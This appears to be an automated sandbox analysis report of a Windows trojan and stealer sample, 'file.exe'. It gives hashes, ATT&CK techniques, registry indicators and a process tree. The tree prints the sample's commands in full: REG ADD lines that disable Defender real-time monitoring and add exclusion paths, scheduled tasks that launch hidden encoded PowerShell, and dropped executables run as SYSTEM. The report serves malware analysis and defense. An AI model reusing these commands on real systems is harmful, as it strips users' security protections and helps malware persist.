62163fde239de7f620f7e2e09565f40214a2ebe55b35383e7fc3e3d9d5a536fa

Analysis

max time kernel
149s
max time network
141s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
07/11/2022, 23:08

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
file.exe
Size 7.2MB
Sample221107-24jvcsgbej
SHA256 62163fde239de7f620f7e2e09565f40214a2ebe55b35383e7fc3e3d9d5a536fa
MD5 d382b3e2239380fc2dc8ddbb600e7875
SHA1 4aac8e630fcb056531d485a9829567040f53c975
SHA512 0b324a7e6e6aa9ed6f85fac0ee82aa4766c89914783e1d5d6d444d8f19a60ebf3fd1613397204cc033c10dfd7baf5d5ab8697c9e9f1db69a7ad23ab4848efb8b
SSDEEP 196608:91OVrWgGYyqQHqyYQGv+QRd8SthVWtGgnrMZ:3OkpK/QU+W7vV/Q+
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

evasion spyware stealer trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe

Windows security bypass 2 TTPs 36 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\UwfdYMmOFFbrNKqW = "0"	conhost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\IhGLbnoxkXfU2 = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ZxVlncgCviUn = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\iPSRlmjLLzRLmDVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\IhGLbnoxkXfU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\iPSRlmjLLzRLmDVB = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\UwfdYMmOFFbrNKqW = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\hRgNDHqLuuUoQOSFP = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	conhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ZxVlncgCviUn = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\YfLMVLBlStOpzgLyvWR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\hRgNDHqLuuUoQOSFP = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\HkahGcyMU = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\HkahGcyMU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\UwfdYMmOFFbrNKqW = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\KYzeFHGsUzoHC = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\KYzeFHGsUzoHC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\YfLMVLBlStOpzgLyvWR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\UwfdYMmOFFbrNKqW = "0"	reg.exe

Executes dropped EXE 4 IoCs

pid	Process
1948	Install.exe
1692	Install.exe
1816	kqXAyCg.exe
1936	umjyLRB.exe

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Loads dropped DLL 8 IoCs

pid	Process
1972	file.exe
1948	Install.exe
1948	Install.exe
1948	Install.exe
1948	Install.exe
1692	Install.exe
1692	Install.exe
1692	Install.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Drops file in System32 directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	kqXAyCg.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	kqXAyCg.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	kqXAyCg.exe

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\HkahGcyMU\DPwKRg.dll	umjyLRB.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\bKWyTUrmwTLsbJAOjh.job	schtasks.exe
File created	C:\Windows\Tasks\kOIUWtcBvFHFHHfID.job	schtasks.exe
File created	C:\Windows\Tasks\hRirSmIXQWofMZr.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 7 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
584	schtasks.exe
1756	schtasks.exe
968	schtasks.exe
1364	schtasks.exe
1504	schtasks.exe
1504	schtasks.exe
1312	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host\Settings	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	wscript.exe

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
1272	powershell.EXE
1272	powershell.EXE
1272	powershell.EXE
1504	powershell.EXE
1504	powershell.EXE
1504	powershell.EXE
1000	powershell.EXE
1000	powershell.EXE
1000	powershell.EXE
668	powershell.EXE
668	powershell.EXE
668	powershell.EXE
1936	umjyLRB.exe
1936	umjyLRB.exe
1936	umjyLRB.exe
1936	umjyLRB.exe
1936	umjyLRB.exe
1936	umjyLRB.exe
1936	umjyLRB.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1272	powershell.EXE
Token: SeDebugPrivilege	1504	powershell.EXE
Token: SeDebugPrivilege	1000	powershell.EXE
Token: SeDebugPrivilege	668	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1972 wrote to memory of 1948	1972	file.exe	28
PID 1972 wrote to memory of 1948	1972	file.exe	28
PID 1972 wrote to memory of 1948	1972	file.exe	28
PID 1972 wrote to memory of 1948	1972	file.exe	28
PID 1972 wrote to memory of 1948	1972	file.exe	28
PID 1972 wrote to memory of 1948	1972	file.exe	28
PID 1972 wrote to memory of 1948	1972	file.exe	28
PID 1948 wrote to memory of 1692	1948	Install.exe	29
PID 1948 wrote to memory of 1692	1948	Install.exe	29
PID 1948 wrote to memory of 1692	1948	Install.exe	29
PID 1948 wrote to memory of 1692	1948	Install.exe	29
PID 1948 wrote to memory of 1692	1948	Install.exe	29
PID 1948 wrote to memory of 1692	1948	Install.exe	29
PID 1948 wrote to memory of 1692	1948	Install.exe	29
PID 1692 wrote to memory of 584	1692	Install.exe	31
PID 1692 wrote to memory of 584	1692	Install.exe	31
PID 1692 wrote to memory of 584	1692	Install.exe	31
PID 1692 wrote to memory of 584	1692	Install.exe	31
PID 1692 wrote to memory of 584	1692	Install.exe	31
PID 1692 wrote to memory of 584	1692	Install.exe	31
PID 1692 wrote to memory of 584	1692	Install.exe	31
PID 1692 wrote to memory of 1816	1692	Install.exe	33
PID 1692 wrote to memory of 1816	1692	Install.exe	33
PID 1692 wrote to memory of 1816	1692	Install.exe	33
PID 1692 wrote to memory of 1816	1692	Install.exe	33
PID 1692 wrote to memory of 1816	1692	Install.exe	33
PID 1692 wrote to memory of 1816	1692	Install.exe	33
PID 1692 wrote to memory of 1816	1692	Install.exe	33
PID 584 wrote to memory of 1000	584	forfiles.exe	36
PID 584 wrote to memory of 1000	584	forfiles.exe	36
PID 584 wrote to memory of 1000	584	forfiles.exe	36
PID 584 wrote to memory of 1000	584	forfiles.exe	36
PID 584 wrote to memory of 1000	584	forfiles.exe	36
PID 584 wrote to memory of 1000	584	forfiles.exe	36
PID 584 wrote to memory of 1000	584	forfiles.exe	36
PID 1816 wrote to memory of 784	1816	forfiles.exe	35
PID 1816 wrote to memory of 784	1816	forfiles.exe	35
PID 1816 wrote to memory of 784	1816	forfiles.exe	35
PID 1816 wrote to memory of 784	1816	forfiles.exe	35
PID 1816 wrote to memory of 784	1816	forfiles.exe	35
PID 1816 wrote to memory of 784	1816	forfiles.exe	35
PID 1816 wrote to memory of 784	1816	forfiles.exe	35
PID 784 wrote to memory of 1840	784	cmd.exe	37
PID 784 wrote to memory of 1840	784	cmd.exe	37
PID 784 wrote to memory of 1840	784	cmd.exe	37
PID 784 wrote to memory of 1840	784	cmd.exe	37
PID 784 wrote to memory of 1840	784	cmd.exe	37
PID 784 wrote to memory of 1840	784	cmd.exe	37
PID 784 wrote to memory of 1840	784	cmd.exe	37
PID 1000 wrote to memory of 1868	1000	cmd.exe	38
PID 1000 wrote to memory of 1868	1000	cmd.exe	38
PID 1000 wrote to memory of 1868	1000	cmd.exe	38
PID 1000 wrote to memory of 1868	1000	cmd.exe	38
PID 1000 wrote to memory of 1868	1000	cmd.exe	38
PID 1000 wrote to memory of 1868	1000	cmd.exe	38
PID 1000 wrote to memory of 1868	1000	cmd.exe	38
PID 784 wrote to memory of 980	784	cmd.exe	39
PID 784 wrote to memory of 980	784	cmd.exe	39
PID 784 wrote to memory of 980	784	cmd.exe	39
PID 784 wrote to memory of 980	784	cmd.exe	39
PID 784 wrote to memory of 980	784	cmd.exe	39
PID 784 wrote to memory of 980	784	cmd.exe	39
PID 784 wrote to memory of 980	784	cmd.exe	39
PID 1000 wrote to memory of 1508	1000	cmd.exe	40

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1972
- C:\Users\Admin\AppData\Local\Temp\7zS1DAF.tmp\Install.exe
  .\Install.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1948
- - C:\Users\Admin\AppData\Local\Temp\7zS2627.tmp\Install.exe
    .\Install.exe /S /site_id "525403"
    3⤵
    - Executes dropped EXE
    - Checks BIOS information in registry
    - Loads dropped DLL
    - Drops file in System32 directory
    - Enumerates system info in registry
    - Suspicious use of WriteProcessMemory
    PID:1692
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:584
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1000
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        6⤵
        
        PID:1868
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        6⤵
        
        PID:1508
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1816
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:784
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:1840
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:980
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "gHpxWttig" /SC once /ST 00:04:21 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
      4⤵
      Creates scheduled task(s)
      PID:1504
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /run /I /tn "gHpxWttig"
      4⤵
      PID:1164
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /DELETE /F /TN "gHpxWttig"
      4⤵
      PID:520
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "bKWyTUrmwTLsbJAOjh" /SC once /ST 00:10:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\hRgNDHqLuuUoQOSFP\nGvFiNDMLeAOXbc\kqXAyCg.exe\" JP /site_id 525403 /S" /V1 /F
      4⤵
      Drops file in Windows directory
      Creates scheduled task(s)
      PID:1312

C:\Windows\system32\taskeng.exe
taskeng.exe {CC77C848-6F5B-4491-B1EB-0A28D1E40CB0} S-1-5-21-3845472200-3839195424-595303356-1000:ZERMMMDR\Admin:Interactive:[1]
1⤵
PID:1628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1272
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1060
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1504
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:960
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1000
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1496
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:668
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:960

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1616

C:\Windows\system32\taskeng.exe
taskeng.exe {6F8EA1E6-1A58-4B26-AAC2-46EEF70781AE} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:996
- C:\Users\Admin\AppData\Local\Temp\hRgNDHqLuuUoQOSFP\nGvFiNDMLeAOXbc\kqXAyCg.exe
  C:\Users\Admin\AppData\Local\Temp\hRgNDHqLuuUoQOSFP\nGvFiNDMLeAOXbc\kqXAyCg.exe JP /site_id 525403 /S
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  PID:1816
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gBaqTJqCW" /SC once /ST 00:03:51 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:584
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gBaqTJqCW"
    3⤵
    PID:1512
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gBaqTJqCW"
    3⤵
    PID:1588
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
    3⤵
    PID:1640
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:1144
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
    3⤵
    PID:1524
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:1364
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gBxIUDnyS" /SC once /ST 00:08:18 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:1756
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gBxIUDnyS"
    3⤵
    PID:1292
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gBxIUDnyS"
    3⤵
    PID:2040
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UwfdYMmOFFbrNKqW" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1108
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UwfdYMmOFFbrNKqW" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1284
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UwfdYMmOFFbrNKqW" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:920
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UwfdYMmOFFbrNKqW" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:588
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UwfdYMmOFFbrNKqW" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:840
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UwfdYMmOFFbrNKqW" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:540
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UwfdYMmOFFbrNKqW" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:828
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UwfdYMmOFFbrNKqW" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1172
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C copy nul "C:\Windows\Temp\UwfdYMmOFFbrNKqW\OWqbkcvN\vnflgfoGgpctyObg.wsf"
    3⤵
    PID:1936
- - C:\Windows\SysWOW64\wscript.exe
    wscript "C:\Windows\Temp\UwfdYMmOFFbrNKqW\OWqbkcvN\vnflgfoGgpctyObg.wsf"
    3⤵
    - Modifies data under HKEY_USERS
    PID:1756
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HkahGcyMU" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:908
  - - C:\Windows\SysWOW64\reg.exe
